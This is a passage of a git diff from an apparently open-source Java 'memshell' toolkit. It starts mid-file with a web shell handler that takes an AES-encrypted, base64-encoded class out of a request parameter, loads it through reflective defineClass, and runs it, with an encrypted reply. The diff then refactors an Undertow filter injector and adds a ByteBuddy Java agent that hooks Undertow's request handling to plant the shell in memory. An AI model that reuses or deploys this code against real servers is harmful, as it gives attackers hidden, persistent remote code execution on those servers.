servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext); + Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null + && value.contains(headerValue)) { + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + byte[] data = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); + } catch (Exception var6) { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); + } + Cipher c = Cipher.getInstance("AES"); + SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES"); + c.init(2, keySpec); + data = c.doFinal(data); + Object session = request.getClass().getMethod("getSession").invoke(request); + Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload"); + if (sessionPayload == null) { + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length); + session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", payload); + } else { + System.out.println(new String(data)); + request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) sessionPayload).newInstance(); + f.equals(arrOut); + f.equals(request); + PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); + writer.write(md5.substring(0, 16)); + f.toString(); + + c.init(1, keySpec); + byte[] encryptBytes = c.doFinal(arrOut.toByteArray()); + String result = null; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + result = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes); + } catch (Exception var6) { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes); + } + writer.write(result); + writer.write(md5.substring(16)); + } + return true; + } + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/injector/UndertowFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/injector/UndertowFilterInjector.java index ed7db213..d8eb3bc8 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/injector/UndertowFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/injector/UndertowFilterInjector.java @@ -81,18 +81,17 @@ public class UndertowFilterInjector { } public void inject(Object context, Object filter) throws Exception { - String filterClassName = getClassName(); if (isInjected(context)) { return; } Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo"); Object deploymentInfo = getFieldValue(context, "deploymentInfo"); - Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(filterClassName, filter.getClass()); + Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), filter.getClass()); invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); Object deploymentImpl = getFieldValue(context, "deployment"); Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null); invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); - invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, filterClassName, getUrlPattern(), DispatcherType.REQUEST}); + invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST}); } @SuppressWarnings("unchecked") diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/injector/UndertowServletInitialHandlerAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/injector/UndertowServletInitialHandlerAgentInjector.java new file mode 100644 index 00000000..34782adb --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/injector/UndertowServletInitialHandlerAgentInjector.java @@ -0,0 +1,63 @@ +package com.reajason.javaweb.memshell.undertow.injector; + +import net.bytebuddy.agent.builder.AgentBuilder; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.description.type.TypeDescription; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.matcher.ElementMatchers; +import net.bytebuddy.utility.JavaModule; + +import java.lang.instrument.Instrumentation; +import java.security.ProtectionDomain; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2024/12/28 + */ +public class UndertowServletInitialHandlerAgentInjector implements AgentBuilder.Transformer { + + static Class interceptorClass = null; + + static { + try { + interceptorClass = Class.forName(getClassName()); + } catch (ClassNotFoundException e) { + e.printStackTrace(); + } + } + + @Override + public DynamicType.Builder transform(DynamicType.Builder builder, + TypeDescription typeDescription, + ClassLoader classLoader, JavaModule module, + ProtectionDomain protectionDomain) { + return builder.visit(Advice.to(interceptorClass).on(named("handleFirstRequest"))); + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static String getClassName() { + return "{{advisorName}}"; + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + new AgentBuilder.Default() + .ignore(ElementMatchers.none()) + .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) +// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) +// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) + .type(named("io.undertow.servlet.handlers.ServletInitialHandler")) + .transform(new UndertowServletInitialHandlerAgentInjector()) + .installOn(inst); + System.out.println("MemShell Agent is working at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest"); + } +} \ No newline at end of file